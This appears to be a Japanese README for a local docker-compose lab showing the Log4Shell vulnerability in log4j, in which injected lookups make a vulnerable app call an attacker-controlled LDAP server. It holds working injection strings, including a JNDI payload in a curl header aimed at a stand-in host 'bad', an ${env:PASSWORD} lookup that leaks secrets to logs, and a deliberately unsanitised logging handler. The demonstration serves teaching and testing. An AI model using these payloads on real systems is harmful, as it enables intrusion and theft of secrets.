
このエクスプロイトの動作を示すサンプルdocker-composeセットアップ
このリポジトリには、最近のlog4jエクスプロイトを悪用する動作サンプルが含まれています。実際のリモートコード実行は行いませんが、悪意のある攻撃者が脆弱なアプリケーションに自身のLDAPサーバへのコールを簡単に仕掛けられることを示しています。
このサンプルは、christophetd氏の優れたlog4j脆弱性アプリを利用しています: https://github.com/christophetd/log4shell-vulnerable-app
この脆弱性は、log4jのlookup機能、特にjndiを悪用します。これにより、log4jは外部ホストからデータを取り込むためのルックアップを実行できます。これは、環境内の機密変数のログ出力からリモートコード実行まで、あらゆることに悪用される可能性があります。
ロガーが呼び出された際、${}で囲まれたテキストはすべてルックアップの対象となります。例えば、
${jndi:ldap://someldapserver:1389/o=example}
は、指定されたクエリでそのLDAPサーバにルックアップを行い、結果を出力します。
jndiを使用しないが、それでも危険なより単純な例:
${env:PASSWORD}
これは、その環境変数の内容をログに出力します。その後、そのログにアクセスできる者がアプリケーションの機密データを抽出できる可能性があります。
このエクスプロイトが悪用されるためのlog4jのコードは非常に単純です。リクエストのあるプロパティをサニタイズせずにログに記録するために、ロガーを呼び出すだけです。例えば、User-Agentの内容をログに記録できます。
...
@GetMapping("/bad")
public void Bad(@RequestHeader("User-Agent") String userAgent) {
logger.info("Received User-Agent header " + userAgent);
}
まず、ローカルのLDAPサーバをビルドします:
docker build -t ldapnode .
ビルドが完了したら、次のコマンドでスタック全体を起動します:
docker-compose up
次に、x-api-versionヘッダを使用してルックアップを注入し、アプリにリクエストを送信します:
curl --request GET \
--url http://localhost:8080/ \
--header 'x-api-version: ${jndi:ldap://bad:1389/o=example}'
このリクエストを使用すると、docker-composeのログにLDAPサーバが呼び出されたことが表示されます:
bad_1 | ldap server has been called!
log4j_1 | 2021-12-14 02:43:11.657 INFO 1 --- [nio-8080-exec-2] HelloWorld : Received a request for API version com.sun.jndi.ldap.LdapCtx@201a609c
解決策については、こちらのドキュメントを参照してください。